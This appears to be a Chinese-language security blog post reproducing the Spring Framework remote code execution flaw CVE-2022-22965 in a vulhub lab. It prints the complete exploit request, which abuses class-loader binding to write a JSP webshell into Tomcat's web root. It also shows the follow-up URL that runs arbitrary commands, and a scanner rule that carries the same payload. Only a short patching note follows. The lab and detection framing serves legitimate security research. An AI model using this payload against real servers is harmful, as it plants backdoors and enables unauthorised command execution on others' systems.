Spring Framework遠程代碼執行漏洞復現
上官雨寶2022-07-20 17:03:00
Spring Framework遠程代碼執行漏洞復現
0x01 漏洞描述
Spring framework 是Spring 里面的一個基礎開源框架,其目的是用于簡化 Java 企業級應用的開發難度和開發周期,2022年3月31日,VMware Tanzu發布漏洞報告,Spring Framework存在遠程代碼執行漏洞,在 JDK 9+ 上運行的 Spring MVC 或 Spring WebFlux 應用程序可能容易受到通過數據綁定的遠程代碼執行 (RCE) 的攻擊
0x02 漏洞影響范圍
Spring Framework < 5.3.18
Spring Framework < 5.2.20
0x03 漏洞利用條件
JDK9或以上版本系列
Spring框架或衍生的SpringBoot等框架,版本小于v5.3.18或v5.2.20
Spring JavaBean表單參數綁定需要滿足一定條件
部署在Tomcat容器中,且日志記錄功能開啟(默認狀態)
0x04漏洞復現
通過vulhub拉取
docker-compose up -d

訪問演示頁面
http://your-ip:8080/?name=Bob&age=25

訪問對應的controller,這里設置了日志的文件名、文件路徑、以及后綴名,將后綴名設置為.jsp,然后不斷地寫入執行命令的jsp代碼,從而實現webshell的寫入,還需要補充cookie。
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1

然后,訪問剛寫入的JSP Webshell,執行任意命令
http://ip:8080/tomcatwar.jsp?pwd=j&cmd=id
0x05檢測poc規則編寫
params: []
name: Spring 遠程命令執行漏洞(CVE-2022-22965)
set: {}
rules:
- method: GET
path: '/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= '
headers:
DNT: "1"
c1: Runtime
c2: <%
suffix: '%>//'
body: ""
search: ""
followredirects: false
expression: response.status == 200
- method: GET
path: /tomcatwar.jsp?pwd=j&cmd=id
headers: {}
body: ""
search: ""
followredirects: false
expression: response.status == 200 && response.body.bcontains(b"uid")
groups: {}
detail:
author: ""
links: []
description: ""
version: ""

0x06漏洞修復
1、官方已發布漏洞補丁及修復版本,請評估業務是否受影響后,酌情升級至安全版本。
0x07 參考
https://blog.csdn.net/huangyongkang666/article/details/124187398
文章轉自公眾號: Tide安全團隊
上官雨寶
是水水水水是
